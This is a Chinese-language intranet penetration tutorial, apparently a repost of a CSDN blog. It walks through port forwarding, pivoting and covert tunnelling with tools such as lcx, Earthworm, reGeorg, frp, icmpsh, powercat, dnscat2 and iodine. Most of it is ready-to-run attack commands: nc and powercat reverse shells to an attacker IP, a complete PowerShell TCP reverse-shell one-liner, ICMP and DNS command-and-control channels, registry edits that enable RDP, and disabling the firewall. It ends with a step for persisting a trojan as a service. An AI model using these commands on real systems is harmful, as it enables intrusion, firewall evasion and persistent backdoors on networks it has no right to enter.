内网渗透之常见隧道转发

admin 2020年8月28日08:20:43评论418 views字数 10379阅读34分35秒阅读模式

文章目录

    内网渗透之常见隧道转发
        一、基本介绍
        二、工具介绍及使用
        端口转发
        1、Lcx.exe
        2、netsh
        3、msf端口转发
        内网转发
        1、Earthworm
        2、reGeorg+proxifier/proxychains
        3、frq
    隐藏隧道
    网络层
        1、ipv6隧道
        2、icmpc2通道及隧道传输
    传输层
        1、nc
        2、powercat
    应用层
        1、ssh隧道
        2、HTTP/HTTPS隧道
        3、DNS隧道
        维持后门



一、基本介绍


端口转发:

用于目标机器对某一端口的访问进行了限制,主要就是可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网 IP 上。

端口映射:

就是将一个内网无法访问的端口映射到公网上的某个端口,进而进行攻击,例如最喜欢的3389!

内网转发:

主要用于在目标机器上做跳板,进而可以对内网进行攻击!

隐藏隧道:

由于防火墙存在,会检测对外连接情况,如发现异常就会阻断,隧道就是绕过防火墙,封装数据绕过屏蔽的通信方式



二、工具介绍及使用


端口转发

1、Lcx.exe

lcx.exe是一个端口转发映射工具,Windows版是lcx.exe,Linux版为portmap,主要就三个参数监听映射转向.

Windows情况下:

内网渗透之常见隧道转发

目标主机执行


lcx.exe -slave 公网主机ip 8888 目标ip 3389
公网主机监听,即可成功映射
lcx.exe –listen 8888 5555


内网渗透之常见隧道转发


如果3389被防火墙限制,可以-tran映射到其他端口,进行访问
lcx -tran 6666 目标ip 3389


LINUX情况下:
内网渗透之常见隧道转发

目标主机执行


./portmap -m 3 -h1 目标ip -p1 22 -h2 公网ip -p2 8888



公网主机监听,即可成功映射


./portmap -m 2 -p1 8888 -h2 公网ip -p2 12345


内网渗透之常见隧道转发



ps:如果目标机器没有开启3389?或者找不到远程桌面?在或者饿了?算了,先解决前两个问题吧!
  开启3389端口:  通杀:  wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1  2003:  REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  2008:  REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  多版本win08 win03 win7 win2012 winxp 执行3条:  1.wmic /namespace:rootcimv2  erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1    2.wmic /namespace:rootcimv2  erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1    3.reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f  开了远程桌面找不到?  简单暴力办法看看服务器有木有电话qq之类的,直接联系管理员问问,好好的3389端口非得换,不知道我找不到吗?  不闹了!容易挨打!  1、cmd执行:REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber  2、cmd执行:tasklist /svc查询TermService对应PID,然后在netstat -ano查询的PID对应的端口号  3、查找注册表:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server Wds dpwdTds  cp 中PortNumber的值




2、netsh

netsh(Network Shell) 是一个windows系统本身自带的工具,可以用来做端口转发。因为他可以把本地端口的任意一个TCP连接都可以被重定向到另一个端口,或远程计算机的任意端口上。

前提:

2003、xp系统需要安装IPV6(netsh interface ipv6 install),其他版本直接可以使用。

启动服务中的IPv6 Helper Service/IP Helper,如果不行可以关闭服务器或添加入栈规则(netsh firewall set opmode disable)

基本语句


添加netsh interface portproxy add v4tov4 listenaddress=本地 listenport=port connectaddress=ip connectport=port 删除netsh interface portproxy delete v4tov4 listenport=port查看netsh interface portproxy show all




举个栗子,如果想进行端口转发,可以把来自外部的 tcp 的26端口流量全部转发到内网的机器的3389端口上:
netsh advfirewall firewall add rule name="8888" dir=in action=allow protocol=TCP localport=26netsh interface portproxy add v4tov4 listenaddress=ip listenport=26 connectaddress=10.0.0.1 connectport=3389



内网渗透之常见隧道转发


3、msf端口转发

msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。


portfwd add -l 8888 -p 3389 -r 172.16.86.153 #-l为本地监听端口,-p 目标端口,-r 目标ip



然后即可将转发目标主机的3389到本地的8888,直接连接即可rdesktop 127.1.1.0:8888

portfwd list/delete/flush  列表/删除/清空


内网转发

内网转发也就是隧道技术它通常是将一个网络协议封装为另一个网络协议的payload。

1、Earthworm

Earthworm 是一套便携式的网络穿透工具,具有 SOCKS5代理、端口转发、端口映射等功能,优点比如穿透能力强,支持多平台等
   

内网渗透之常见隧道转发

主要三个模块:

正向代理 ssocksd、

反向代理 rcsocks,rssocks

端口转发 lcx_listen,lcx_slave,lcx_tran

首先简单画拓扑,利用服务器当作跳板访问探测内网。

内网渗透之常见隧道转发


比如想通过跳板机访问内网,也就是正向代理,就是常说的ss,
首先在服务器上监听本地端口./ew_for_linux64 -s ssocksd -l 1080,然后在kali攻击机上执行proxychains+命令即可(在/etc/proxychains.conf添加socks5 22.22.22.2 1080)在windows下直接设置全局代理即可(ie、Proxifier等)即可访问目标内网服务




有正即有反,如果无法直接连接目标主机,但是目标主机可以主动连接攻击机,这时可以利用ew进行反向代理,只不过方向变了,首先在攻击机上监听1080,将1111带你看流量转到1080端口# ew_for_Win.exe -s rcsocks -l 1080 -e 1111,然后在目标机执行ew_for_Win.exe -s rssocks -d 88.88.88.8 -e 1111相当于将流量转发到攻击机1111端口,攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务



2、reGeorg+proxifier/proxychains

regeorg主要是把内网服务器的端口通过http/https隧道转发到本机。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

内网渗透之常见隧道转发


根据服务器上传相应文件,进行代理,直接访问显示“Georg says, ‘All seems fine’”,代表成功。


内网渗透之常见隧道转发


然后执行,python reGeorgSocksProxy.py -p 1080 -u http://127.0.0.1/test/tunnel.nosocket.php ,proxifier设置全局代理1080即可,proxychains设置件/etc/proxychains.conf 添加socks5 127.0.0.1 1080即可


内网渗透之常见隧道转发


3、frq


frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。


内网渗透之常见隧道转发


首先配置对frpc.ini,然后和frpc.exe一起上传到目标机


内网渗透之常见隧道转发

隐藏隧道


1 常见的隧道:
  网络层:ipv6隧道、icmp隧道  传输层:tco隧道、udp隧道、端口转发  应用层:ssh隧道、http隧道、https隧道、DNS隧道



网络层

1、ipv6隧道

IPv6协议隧道方法 用于连接处于IPv4海洋中的各孤立的IPv6岛(将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IP)。此方法要求隧道两端的IPv6节点都是双栈节点(对于IPv4包和IPv6包都使用相同的地址),即也能够发送IPv4包。
IPv6隧道的工作过程如下:


1、节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道2、节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋3、在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B4、节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文


配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立I P地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用D H C P、人工配置或其他IPv4的配置机制。

支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等


2、icmpc2通道及隧道传输

icmp相当于其他协议更具有隐蔽性,因为防火墙会默认放此协议,当你拿到一台服务器,防火墙禁止外出流量,可以将数据封装在ping中带出,穿过防火墙限制。


icmpC2通道

icmpsh是应该利用icmp反弹shell1的工具,icmpsh的目标主机只能是Windows(不需要管理权限),控制端只能是Linux。

控制端kali首先下载,并且需要关闭内核对ping的反应,进而执行即可。


git clone https://github.com/inquisb/icmpsh.gitsysctl -w net.ipv4.icmp_echo_ignore_all=1./icmpsh_m.py 攻击者ip 目标ip>


内网渗透之常见隧道转发


目标系统windows,执行-t
icmpsh.exe -t 攻击者ip


内网渗透之常见隧道转发


即可反弹shell


内网渗透之常见隧道转发

隧道传输

将TCP连接通过ICMP封装进行传送的一种方法。
icmptunnel是一个将流量封装到 ICMP包中的隧道工具,可以绕过防火墙的隐蔽连接。

攻击端首先安装icmptunnel,然后禁用icmp回应影响。


git clone https://github.com/jamesbarlow/icmptunnel.git makesysctl -w net.ipv4.icmp_echo_ignore_all=1
然后监听tunnel,并且给隧道接口分配一个IP地址
./icmptunnel -s/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0


内网渗透之常见隧道转发


目标关闭反应,以及连接攻击ip,设置ip
sysctl -w net.ipv4.icmp_echo_ignore_all=1./icmptunnel 攻击ip /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0


内网渗透之常见隧道转发


通过ICMP连接SSH(前提目标需开启ssh),通过ICMP包建立了点对点隧道。攻击者的隧道IP是10.0.0.1,目标ip的隧道IP是10.0.0.2。传输的每个流量都是ICMP包,ICMP的payload就是封装的HTTP/IP包,所以走的都是icmp。



传输层

1、nc

主要通过tcp和udp的网络连接读取数据等。


获取shell
正向shell:客户端想要获取服务器shell
  客户端监听nc -lvp 8888 -e /bin/sh nc -lvp 8888 -e c:windowssystem32cmd.exe   服务端反弹  nc 服务端ip 8888
反向shell:服务端想要获取客户端器shell
客户端监听nc -lvp 8888 服务端反弹nc ip 8888 -e /bin/sh nc ip 8888 -e c:windowssystem32cmd.exe 


场景 :攻击机->防火墙-》服务器和数据库同一内网(攻击可以访问服务器,访问不了数据库)

攻击机监听

nc -lvp 8888

数据库

nv -lvp 8888 -e /bin/sh

web服务器

nc -v 攻击ip 8888 -c "nc -v 数据库ip 8888"

然后攻击机即可访问数据库。


2、powercat

PowerCat是NetCat的PowerShell形式,使用也一样

正向连接:Windows上反弹shell到kali


Kali:    nc -lvp 8888Windows:     Import-Module .powercat.ps1    powercat -c kaliip -p 8888 -e c:windowssystem32cmd.exe
反向连接:Windows上反向连接到kali
Kali:    nc 目标ip 8888 -vvWindows:    Import-Module .powercat.ps1    powercat -lvp 8888 -e c:windowssystem32cmd.exe 


Windows之间互弹shell


w7监听:


Import-Module .powercat.ps1powercat -lvp 8888


w10连接:


Import-Module .powercat.ps1powercat -c 192.168.10.1 -p 8888 -ep


or

w7监听:


Import-Module .powercat.ps1powercat -lvp 8888


w10连接:


.reverse.ps1ps1=$client=New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes0$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()




Powercat传输文件
接收端:    Import-Module .powercat.ps1    powercat -lvp 8888 -of test.txt 发送端:    Import-Module .powercat.ps1    powercat -c 192.168.10.1 -p 8888 -i C:UsersDesktoptest.txt -v


PowerCat进行DNS隧道通信

PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat


git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install


然后


ruby dnscat2.rb ttpowercat.test -e open --no-cache


目标执行


powercat -c kaliip -p 53 -dns ttpowercat.test -e cmd.exe


然后kali执行session -i 1即可

场景 :攻击机->防火墙-》w7和w10同一内网(攻击机以w7做跳板访问w10)

w10执行


powercat -lvp 8888 -e cmd.exe


w7执行


powercat -lvp 9999 -r tcp:ip(w10):8888


最后kali执行,即可访问


nc ip(w7) 9999 -vv


or

dns隧道

w7执行


powercat -l -p 9999 -r dns::ip(w7)::ttpowercat.test


kali执行


ruby dnscat2.rb ttpowercat.test -e open --no-cache


w10执行,即可获取sessions -i 1


powercat -c ip(本机) -p 9999 -v -e cmd.exe



应用层

1、ssh隧道


常用参数
-C 压缩传输-f 后台传输-N 建立看不到具体会话的连接-L 本地端口转发-g 允许远程主机连接本地用于转发端口-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口-D 动态转发(socks代理)-P 指定ssh端口


本地转发

将本地机(客户机)的某个端口转发到远端指定机器的指定端口.

场景:kali- 》防火墙-》web服务器-》内网服务器

目的:kali访问内网服务器3389端口

思路:以web服务器当跳板,将内网服务器3389端口映射到web服务器1234端口,然后访问1234即可访问内网3389

kai上执行


ssh -CfNg -L 1234:内网ip:3389 root@web服务器


然后kali即可访问3389了

远程转发

将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

场景:kali- 》防火墙-》web服务器-》内网服务器

目的:kali访问内网服务器3389端口

思路:以web服务器当跳板,将kali5555端口的流量转发到内网服务器3389端口,访问5555即可访问内网服务器3389

web服务器上执行


ssh -CfNg -R 5555:内网ip:3389 root@kaliip


然后kali访问5555即可

动态转发

建立一个ssh加密的socks4/5代理通道,只要支持socks4/5的都可以使用该隧道通信

场景:kali- 》防火墙-》web服务器-》内网服务器80web服务

目的:kali通过浏览器访问内网服务器80web服务

思路:在kali建立以web服务器基础的sockets5隧道,然后浏览器设置sockets代理,即可访问内网web80web服务器

kai上执行


ssh -CfNg -D 1234 root@web服务器ip
然后挂上浏览器sockets代理即可访问。


ssh反向隧道

简单的来说就是在目标内网机上做到公网服务器的反向代理;然后在公网服务器做正向的代理实现内网到公网的转发

目标内网服务器:ssh -fCNR 192.168.119.129:8888:localhost:22 [email protected] #将本机的22号端口的流量都转发给公网服务器8888端口

内网渗透之常见隧道转发


然后公网服务器执行ssh -fCNL *:1111:localhost:8888 localhost #、将公网服务器的1111端口的流量都转发给服务器的8888端口


内网渗透之常见隧道转发


然后即可直接连接公网服务器1111端口,即使连接到目标内网服务器。ssh -p 1111 root@公网ip


内网渗透之常见隧道转发

这种方法不稳定,可以利用AutoSSH建立稳定SSH隧道

首先目标内网服务器和公网服务器apt install autossh

目标内网服务器生成ssh-keygen公钥私钥,并ssh-copy-id root@ip到公网服务器中,实现免密登陆

内网渗透之常见隧道转发


最后执行 autossh -M 5000 -NR 8888:localhost:22 [email protected] -p 22) 同理上即可


内网渗透之常见隧道转发


2、HTTP/HTTPS隧道

常见的regeorg、meterperter、tunna等,利用http隧道进行代理,在爆破3389等比较隐蔽,特征不明显。

3、DNS隧道

DNS协议解析过程分为两种,迭代查询和递归查询(一次请求),DNS隧道是隐蔽信道的一种,通过将其他协议封装在DNS协议中进行通信。封装由客户端完成,将DNS流量还原成正常的流量由服务器完成。
常用的工具Dnscat2、iodine、Dns2tcp等

Dnscat2

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,解析常见的类型:A、CNAME、MX、TXT……类型,它的优点就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成比如文件上传、下载、反弹Shell,

在服务端机器上,执行:

 服务端


sudo ruby./dnscat2.rb abc.com --secret=123456   #1,自定义DNS传输的域名以及密码sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=5555,type=TXT --secret=123456   #2,监听本机5555sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3
客户端
dnscat --secret=123456 abc.com    #1dnscat --dns server=dnscat2 server ip>,port=5555,type=TXT   #2


客户端连上后,会提示:Session established!

服务端的控制台输入:windows,即可以看到一个客户端上线:

使用window -i 1,即可进入该通道;

常用的有:


quit (退出控制台)kill <id> (中断通道)set(设值,比如设置security=open)windows(列举出所有的通道)window -i <id>(连接某个通道)
连接通道后,:
clear(清屏)delay(修改远程会话超时时间)exec(执行远程机上的程序)shell(得到一个反弹shell)download/upload(两端之间上传下载文件)supend(返回到上一层,等于快捷键ctrl+z)


iodine

iodine这个工具可以大致分为中继和直连两种类型,中继需要在外网有自己的服务器,迭代请求,直连在客户端直接向指定IP的恶意DNS服务器发起DNS解析请求,而且传输文件的速度非常快,是一种主流工具。iodine主要分服务端与客户端。当客户端请求该域名的解析,就可以建立通道连接。iodine支持各种系统以及NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型。

客户端:


  客户端:sudo iodine -f -r xxx.com -M 200 -P 123456 //xxx.com为自定义DNS传输的主域名
服务端:
sudo iodine -P 123456 -f -r -T TXT <dns服务商,不写就直连> abc.com


-r 强制在任何情况下使用DNS隧道

-f 将使客户端保持在前台运行

-t 使用的DNS类型

-M 表示最大的上传域名长度


维持后门

比如利用NSSM,封装某一木马软件exe封装为系统服务,然后服务器设置自动启动即可。
内网渗透之常见隧道转发

删除利用nssm remove

余生很长,请多指教。



版权声明:本文为CSDN博主「SoulCat.」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/csacs/article/details/90723513


没有专业运营团队,纯个人凭着空闲时间的学习,通过网络搜集与学习整理的资料记录并分享。


 如果觉得文章对你有帮助,请支持下点击右下角“在看”


内网渗透之常见隧道转发


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月28日08:20:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之常见隧道转发http://cn-sec.com/archives/108385.html

发表评论

匿名网友 填写信息